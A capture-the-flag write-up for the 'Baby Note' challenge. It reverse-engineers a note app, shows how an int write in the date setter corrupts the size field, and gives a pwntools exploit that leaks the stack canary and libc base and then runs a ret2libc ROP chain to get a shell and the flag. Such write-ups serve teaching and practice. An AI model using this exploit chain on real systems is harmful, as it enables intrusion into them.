Baby Note(streses)
8 minutes to read
We are given a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
We can see that it is already patched to use the provided Glibc version 2.36 and loader:
$ ldd chall
linux-vdso.so.1 (0x00007ffdc83d7000)
libc.so.6 => ./libc.so.6 (0x00007d62c1390000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007d62c157a000)
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Reverse engineering
If we open the binary in Ghidra, we will see a main
function that sets up buffering and then calls the real main function (renamed as do_main
):
void do_main() {
unsigned char option;
bool do_exit = false;
LAB_00101d0b:
while (true) {
if (do_exit) {
puts("See you next time!");
return;
}
menu();
option = get_int();
if (option != 3) break;
do_exit = true;
}
if (option < 4) {
if (option == 2) {
edit();
goto LAB_00101d0b;
}
if (2 < option) goto LAB_00101cec;
if (option == 0) {
create();
goto LAB_00101d0b;
}
if (option == 1) {
view();
goto LAB_00101d0b;
}
}
LAB_00101cec:
printf("Invalid option! %x %c\n", (unsigned long) option, (unsigned long) option);
goto LAB_00101d0b;
}
There are a lot of functions to analyze. However, this time I will skip most of them and only focus on the ones that are relevant for the exploit. Also, the binary is stripped, so all function names are set according to their purpose.
Before that, we need to understand how the program saves data in structures:
$ ./chall
Wellcome to your note taking app:)
0: Create new note
1: View existing note
2: Edit existing note
3: Exit app
> 0
Choose the note index (0-9)
> 0
Choose note size [(S)mall/(m)edium/(l)arge]: l
Input your text: asdf
Current text:
asdf
Keep changes? [y/N]: y
Set the note's date (format: dd/mm/yy):
11/22/33
We have plenty of fields. In order to enhance readability in Ghidra, we can create custom structures, either by clicking on “Auto Create Struct”, or adding a new one with the Data Type Manager. I guessed that this was the best fit:
struct date_t {
short dd;
short mm;
short yy;
};
struct note_t {
struct date_t date;
unsigned short size;
short used;
char data[256];
};
Finding the vulnerability
Now let’s look at the edit
function:
void edit() {
unsigned char index = get_index();
if (notes[(int) (unsigned int) index].used == 0) {
puts("You can\'t edit a non-existing note, create it instead!");
} else {
do_write(notes + (int) (unsigned int) index);
}
}
Well, it is just a wrapper for do_write
. It only checks that the note actually holds used != 0
. Notice how there is an out-of-bound (OOB) access here, because we can use any positive index to access the global array. However, it is not relevant because we are limited to the range 0-255 (unsigned char
), and there is nothing juicy below the notes
global array (at the .bss section). Let’s go to do_write
:
void do_write(note_t *note) {
char *newline;
long in_FS_OFFSET;
unsigned int size;
char yn[3] = { 0 };
char data[256] = { 0 };
long _canary;
unsigned short _size;
bool done = false;
_canary = *(long *) (in_FS_OFFSET + 0x28);
_size = note->size;
if (_size == 2) {
size = 0xff;
} else if (_size < 3) {
if (_size == 0) {
size = 0x3f;
} else if (_size == 1) {
size = 0x7f;
}
}
while (!done) {
printf("Input your text: ");
read(0, data, (unsigned long) (size % 1000));
puts("Current text:");
printf("%s", data);
printf("\nKeep changes? [y/N]: ");
__isoc99_scanf("%2s", yn);
if ((yn[0] == 'y') || (yn[0] == 'Y')) {
done = true;
} else {
done = false;
}
}
snprintf(note->data, 0xff, "%s", data);
newline = strchr(note->data, '\n');
if (newline != NULL) {
*newline = '\0';
}
if (_canary == *(long *) (in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
At first glance, it doesn’t have any issue. The % 1000
is weird, but nothing useful to exploit. The only thing that could break this function is a value of note->size
different from 0
, 1
or 2
; because the if
-else
block doesn’t have a default option. But that can’t happen, right?
According to create
, the attribute is correctly set, because there is a default branch on the if
-else
block:
void create(void) {
unsigned char index;
int i;
int _size;
long in_FS_OFFSET;
char size[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = get_index();
i = (int) index;
if (notes[i].used == 0) {
notes[i].used = 1;
printf("Choose note size [(S)mall/(m)edium/(l)arge]: ");
__isoc99_scanf("%2s", size);
if (size[0] < 'a') {
_size = size[0] + 0x20;
} else {
_size = (int) size[0];
}
if (_size == 'l') {
notes[i].size = 2;
} else if (_size == 'm') {
notes[i].size = 1;
} else {
notes[i].size = 0;
}
do_write(notes + i);
set_date(¬es[i].date);
} else {
printf("There already exists a note in index %d\n", (unsigned long) index);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Let’s analyze set_date
, which receives a pointer to the address where the date
attribute appears on the structure:
void set_date(date_t *date) {
long in_FS_OFFSET;
int dd;
int mm;
int yy;
date_t *local_18;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
dd = 0;
mm = 0;
yy = 0;
local_18 = date;
puts("Set the note\'s date (format: dd/mm/yy):");
__isoc99_scanf("%d/%d/%d", &dd, &mm, &yy);
local_18->dd = (short) (dd & 0xffffU);
local_18->mm = (short) ((dd & 0xffffU) >> 0x10);
*(unsigned int *) local_18 = mm * 0x10000 + *(unsigned int *) local_18;
*(int *) &local_18->yy = yy;
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
I tried to make Ghidra display the code better, but I wasn’t able to. Actually, the code looks very weird. In fact, the problem here is that the date numbers are read as int
with %d
. This line is that makes the program exploitable:
*(int *) &local_18->yy = yy;
It is writing into yy
as an int
. This means that we can modify the size
attibute of the current note, according to the previously-defined structures:
struct note_t {
struct date_t {
short dd;
short mm;
short yy;
};
unsigned short size;
short used;
char data[256];
};
An int
is twice the size of a short
, so we can stomp on the size
attribute with the upper bytes.
Buffer Overflow vulnerability
Once we have this situation, we get a Buffer Overflow vulnerability within the while
loop of do_write
:
while (!done) {
printf("Input your text: ");
read(0, data, (unsigned long) (size % 1000));
puts("Current text:");
printf("%s", data);
printf("\nKeep changes? [y/N]: ");
__isoc99_scanf("%2s", yn);
if ((yn[0] == 'y') || (yn[0] == 'Y')) {
done = true;
} else {
done = false;
}
}
Exploit strategy
There is a stack canary, so we will need to overwrite it’s leading null byte in order to leak it with printf
. Then we can continue leaking memory addresses like binary addresses (to defeat PIE), Glibc addresses (to defeat ASLR) and even stack addresses.
We will be using a ret2libc attack (that is, we will call system("/bin/sh")
) using a ROP chain. Notice that defeating PIE is not necessary because nowadays we can’t find the classic pop rdi; ret
gadget. So, we are left with using Glibc to find ROP gadgets.
I won’t write anymore information about the ret2libc technique, since there are a lot of resources to learn this. You may want to read these writeups, where I deep-dive on the exploitation process: Here’s a LIBC, Shooting Star and Notepad as a Service.
Exploit development
These are some helper functions:
def create(index: int, text: bytes, date: tuple[int, int, int], size: bytes = b'l'):
io.sendlineafter(b'> ', b'0')
io.sendlineafter(b'> ', str(index).encode())
io.sendlineafter(b'Choose note size [(S)mall/(m)edium/(l)arge]: ', size)
io.sendafter(b'Input your text: ', text)
io.sendlineafter(b'Keep changes? [y/N]: ', b'y')
io.sendlineafter(b"Set the note's date (format: dd/mm/yy):\n", '{}/{}/{}'.format(*date).encode())
def edit(index: int, text: bytes, yn: bytes = b'n') -> bytes:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'> ', str(index).encode())
return re_edit(text, yn)
def re_edit(text: bytes, yn: bytes = b'n') -> bytes:
io.sendafter(b'Input your text: ', text)
res = io.recvuntil(b'\nKeep changes? [y/N]: ', drop=True)
io.sendline(yn)
return res if yn == b'n' else b''
Notice that edit
just calls re_edit
, which is executed in the while
loop.
This is the actual exploit code, a classic ret2libc attack with ROP:
io = get_process()
create(0, b'A', (-1, -1, -1))
canary = u64(b'\0' + edit(0, b'A' * 265).split(b'A' * 265)[1][:7])
glibc.address = u64(re_edit(b'A' * 360).split(b'A' * 360)[1].ljust(8, b'\0')) - 0x2718a
io.success(f'Canary: {hex(canary)}')
io.success(f'Glibc base address: {hex(glibc.address)}')
rop = ROP(glibc)
payload = b'A' * 264
payload += p64(canary)
payload += b'A' * 8
payload += p64(rop.ret.address)
payload += p64(rop.rdi.address)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
re_edit(payload , b'y')
io.interactive()
The last re_edit
holds the ROP chain and exits the while
loop to execute it.
With this, we have a shell locally:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
[+] Starting local process './chall': pid 3402575
[+] Canary: 0xd441f1a90a586d00
[+] Glibc base address: 0x7ed154f42000
[*] Loaded 195 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
rocky
Flag
So, let’s capture the flag on the remote instance:
$ python3 solve.py 0.cloud.chals.io 12265
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 0.cloud.chals.io on port 12265: Done
[+] Canary: 0x87698d8c3b225600
[+] Glibc base address: 0x7f263b1cf000
[*] Loaded 195 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
bin
boot
chall
dev
etc
flag-66a1b548535c14016a8ba9d1164ebfb4.txt
home
ld-linux-x86-64.so.2
lib
lib64
libc.so.6
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat flag-*
HackOn{ll3v0_48_h0r4s_s1n_d0rm1r_n0_c4p_ea591aaa784412f3a9deca0aed2ca3ef}
The full exploit can be found in here: solve.py
.